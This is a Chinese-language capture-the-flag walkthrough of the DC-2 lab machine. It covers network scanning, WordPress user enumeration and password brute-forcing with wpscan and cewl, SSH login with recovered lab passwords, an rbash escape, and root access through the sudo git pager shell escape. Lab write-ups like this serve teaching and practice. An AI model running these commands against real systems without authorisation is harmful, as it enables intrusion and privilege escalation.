跳转至

DC-2

usershell

sudo arp-scan -l发现主机

192.168.205.130

nmap -p- -sV 192.168.205.130扫描端口

image-20230920214812030

fscan 扫描发现重定向

image-20230920215101732

猜测是域名访问，修改hosts

image-20230920215503573

拿到flag1

image-20230920215532154

根据flag1的提示，使用cewl生成字典爆破wordpress后台

wpscan枚举用户

wpscan --url http://dc-2/ -e u

image-20231205132239594

cewel生成字典

cewl http://dc-2/ -w passwords.txt

wpscan爆破

wpscan --url http://dc-2/ -U username.txt -P passwords.txt

image-20231205132407924

发现用户，jerry登录之后发现flag2，根据提示爆破ssh发现用户tom:parturient

ssh连接发现是rbash

BASH_CMDS[shell]=/bin/bash;shell

逃逸成功，好多命令都不能用

image-20231205133314852

发现是环境变量的问题

export PATH=/bin:/usr/bin:/sbin:/usr/sbin:$PATH

按理来说jerry:adipiscing也是正确的，可能是关闭了ssh登录，用户家目录下发现flag3，根据提示使用爆破出的密码可以切换到jerry用户，家目录下发现flag4

rootshell

sudo -l

(root) NOPASSWD: /usr/bin/git

可以以root权限无密码执行/usr/bin/git

sudo git -p help config
!/bin/sh